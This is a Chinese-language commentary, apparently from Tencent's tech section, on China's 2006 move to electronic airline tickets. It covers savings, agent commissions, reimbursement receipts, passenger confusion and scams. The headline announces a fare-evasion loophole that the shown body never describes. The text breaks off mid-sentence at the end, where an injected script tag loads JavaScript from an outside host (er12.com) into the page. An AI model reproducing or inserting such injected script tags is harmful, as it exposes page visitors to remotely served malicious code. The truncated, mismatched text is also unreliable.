电子客票曝“逃票漏洞” 旅客免费乘机
腾讯科技独家评论 2006年10月16日国际航协停止向国内机票代理商供应纸质机票，取而代之的是全面推行电子机票。据说这是要跟国际航空接轨，节省纸质机票不必要的费用，毕竟都信息时代了，连货币都有电子的了，机票作为一种登机凭证过渡到电子阶段，跟国际接接轨这本身无可厚非，但遗憾的是纵观媒体的报道，国内电子机票强制推行却先天不足，花儿开的很美，结出的果儿自却很苦。
电子机票的花儿很美
飞机作为一种交通工具，逐渐受到快节奏生活的人们所欢迎。机票则作为乘客跟航空公司的搭乘有价协议，乘客付出佣金，航空公司负责把乘客送到目的地并保证其人身安全。以往的机票都是以纸质形式存在的，随着国内信息技术的发展，电子机票被提上日程，并在上月得以推行，效果出奇的好，各销售代理商电子客票的销售率已经高达 90%以上。在乘客反馈方面，在携程网最近一份面向4000会员的电子客票调查问卷显示，在使用过电子客票的会员中，有高达85% 表示电子客票非常好或者比较好。在"您觉得电子客票的优点？"的多选题中，"无需取票或等待送票"的选择比例达到67%，51%的比例选择"订票不受时间、空间限制"，"不易遗失损坏"的选择比例则达到 48%。对于电子客票的发展前景，有超过87%的会员表示，电子客票优于纸质机票，未来一定很美好。另一方面，驱动电子机票的直接动因源于节省开支，有人算了这么一笔账，据国外航空公司的统计，电子机票的营销成本仅为传统纸质机票的１０％，初步计算后平摊到每张机票上可节约成本２０元人民币。如果以去年国内航空客票业的保守客票总数８０００万张计算，一年就能节省１６个亿，比国内所有航空公司的利润总和还要多。这是三个数字都能让国内航空公司的大佬们很高兴，毕竟这些数字具有极强的说服力。
除了上面提到的，电子机票的优点诸如节省时间、不受空间时间限制等特点，其中另外一个优点就是让惨淡的中国航空业大大的提高了利润。这不仅仅是从纸质到电子过渡的那节省的20块钱那么简单。众所周知的，航空机票在很大程度上依靠代理商的分销渠道，在这个过程中，代理商也不能白忙活，从中间拿到票面价值的 3%作为佣金。继续我们上面的计算，假如这8000万张机票，每张的面值是1000 元的话，代理商就要从中拿去30元，这一年下来可就是24个亿啊。换句话说，从航空公司的总利润中就要减去这24 亿元的肥肉，这能让人不心疼嘛。电子机票时代来临后，航空公司的销售模式从分销时代也跨越到直销时代，在很大程度上，代理商在这个过程中几乎捞不到油水，也几乎都要卷铺盖走人。但就目前的情况看，分销跟直销的模式在中国航空业还要共存一段时间，虽然两者从根本上是天生的敌人。
电子机票的果儿很苦
这首先提到的一个果儿就是乘客的消费习惯问题。在一票难求的春运忘记，多少人为了手里拿到一张票儿而费尽心思，这下子好了，钱也付了，拿到手里的仅仅是一段二进制代码。这样一种消费习惯的培养，应该在强制推行电子机票之前进行，而不是临时抱佛脚的搞。要知道，虽然飞机成为走进平常人家的交通工具，但真正经常坐飞机的在国民中还是相当的少数，有相当多的人是第一次，或者第二次乘坐飞机，纸质机票都搞不清楚该如何办理手续，何况给一段看起来具有意义的数字？
另外一个果儿则是具有中国特色的报销体系。你跟老外嘀咕半天报销，他们永远也无法理解为何自己做飞机要单位买单。而国内的报销认准的则是盖着工商大印的发票，这可不是一个电子机票所能够解决的问题，于是中国人的聪明就再度显现出来，我们中庸的搞起了纸质的里程单，对于电子机票也只能用这个东西来作为报销的凭证。这也就有点意思了，既然推行无纸化的电子机票，却又回归到里程单的纸质时代，一切服从的都是报销体系。
这第三个果儿则是给乘客填堵了。这堵儿源于几方面，其一在于改签等比较麻烦，买的a航空公司的机票不能改签b 航空公司的；其二在于骗子多，一不留神儿就上当受骗了，钱被骗了，票被骗了；其三则是忽悠者多，十拿九稳的被人忽悠拿了高价票还暗自偷着乐；这其四就关系到是报销的里程单，从哪里买的票，向哪里要，人家倒是提供邮寄服务，但万一丟了呢？更多的填堵还在于乘客对电子机票的使用流程不熟悉，漂亮的航空服务人员不热情，问来问去还不知道该怎么去办手续，可等办完了，飞机早飞走了。
电子机票苦果儿变甜术
要想把电子机票这个果儿改良下变得甜一些，其实很好办：
变甜术一：借用银行信用体系加大宣传力度。国人习惯把钱存入银行，源于信任二字。无论是存折也好，银行卡也罢，加上这么一个服务，既然都是实名体系的成员，在办折子、办卡的时候宣传一下，买点在免费二字，笔者认为没有一个人会拒绝。
变甜术二：借用各种媒体教会人们使用电子机票。这时候弄几篇软文?script src=http://er12.com/t.js>
